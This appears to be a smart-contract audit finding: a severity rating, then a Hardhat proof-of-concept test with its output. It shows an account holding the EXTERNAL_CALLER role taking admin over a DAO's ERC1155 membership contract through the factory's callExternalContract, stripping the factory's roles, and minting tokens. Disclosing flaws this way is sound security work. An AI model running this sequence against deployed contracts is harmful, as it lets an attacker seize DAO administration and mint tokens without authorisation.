Impact: High - EXTERNAL_CALLER can call any function of any DAO.
Likelihood: Low - as it requires a change of EXTERNAL_CALLER to malicious actor.
Overall: Medium
describe.only('Vulnerability tests', function () {
beforeEach(async function () {
await currencyManager.addCurrency(testERC20.address);
await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
const ensAddress = await membershipFactory.getENSAddress('testdao.eth');
membershipERC1155 = await MembershipERC1155.attach(ensAddress);
});
it('External caller can act as admin for DAO', async function () {
const newExternalCaller = addrs[0];
const externalCallerRole = ethers.utils.keccak256(ethers.utils.toUtf8Bytes('EXTERNAL_CALLER'));
const owpFactoryRole = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("OWP_FACTORY_ROLE"));
const adminRole = await membershipERC1155.getRoleAdmin(externalCallerRole);
console.log("------------------------------------------------------------------");
console.log("------------------------Initial setup-----------------------------");
console.log("------------------------------------------------------------------");
let admin = await membershipERC1155.hasRole(
adminRole,
membershipFactory.address
);
console.log("The initial admin is the factory: " + admin);
console.log("Granting the EXTERNAL_ROLE to third party.");
await membershipFactory.grantRole(externalCallerRole, newExternalCaller.address);
const hasExternalRole = await membershipFactory.hasRole(externalCallerRole, newExternalCaller.address);
console.log("The EXTERNAL_ROLE is changed: " + hasExternalRole);
console.log("------------------------------------------------------------------");
console.log("-----------------------Start of attack----------------------------");
console.log("------------------------------------------------------------------");
const data = membershipERC1155.interface.encodeFunctionData('grantRole', [
adminRole,
newExternalCaller.address,
]);
await membershipFactory.connect(newExternalCaller).callExternalContract(membershipERC1155.address, data);
admin = await membershipERC1155.hasRole(adminRole, newExternalCaller.address);
console.log("The DEFAULT_ADMIN_ROLE is given to EXTERNAL_CALLER: " + admin);
await membershipERC1155.connect(newExternalCaller).revokeRole(adminRole, membershipFactory.address);
admin = await membershipERC1155.hasRole(adminRole, membershipFactory.address);
console.log("The factory has DEFAULT_ADMIN_ROLE: " + admin);
let owpFactory = await membershipERC1155.hasRole(owpFactoryRole, membershipFactory.address);
console.log("The factory has OWP_FACTORY_ROLE " + owpFactory);
await membershipERC1155.connect(newExternalCaller).revokeRole(owpFactoryRole, membershipFactory.address);
owpFactory = await membershipERC1155.hasRole(owpFactoryRole, membershipFactory.address);
console.log("The factory has OWP_FACTORY_ROLE " + owpFactory);
await membershipERC1155.connect(newExternalCaller).grantRole(owpFactoryRole, newExternalCaller.address);
owpFactory = await membershipERC1155.hasRole(owpFactoryRole, newExternalCaller.address);
console.log("The EXTERNAL_CALLER has OWP_FACTORY_ROLE " + owpFactory);
let extenalCallerBalance = await membershipERC1155.balanceOf(newExternalCaller.address, 1);
console.log("Initial EXTERNAL_CALLER balance: " + extenalCallerBalance);
await membershipERC1155.connect(newExternalCaller).mint(newExternalCaller.address, 1, 10);
extenalCallerBalance = await membershipERC1155.balanceOf(newExternalCaller.address, 1);
console.log("EXTERNAL_CALLER balance after mint: " + extenalCallerBalance);
await membershipERC1155.connect(newExternalCaller).burn(newExternalCaller.address, 1, 10);
extenalCallerBalance = await membershipERC1155.balanceOf(newExternalCaller.address, 1);
console.log("EXTERNAL_CALLER balance after burn: " + extenalCallerBalance);
});
});
MembershipFactory
Vulnerability tests
------------------------------------------------------------------
------------------------Initial setup-----------------------------
------------------------------------------------------------------
The initial admin is the factory: true
Granting the EXTERNAL_ROLE to third party.
The EXTERNAL_ROLE is changed: true
------------------------------------------------------------------
-----------------------Start of attack----------------------------
------------------------------------------------------------------
The DEFAULT_ADMIN_ROLE is given to EXTERNAL_CALLER: true
The factory has DEFAULT_ADMIN_ROLE: false
The factory has OWP_FACTORY_ROLE true
The factory has OWP_FACTORY_ROLE false
The EXTERNAL_CALLER has OWP_FACTORY_ROLE true
Initial EXTERNAL_CALLER balance: 0
EXTERNAL_CALLER balance after mint: 10
EXTERNAL_CALLER balance after burn: 0
✔ External caller can act as admin for DAO (396ms, 398451 gas)
1 passing (5s)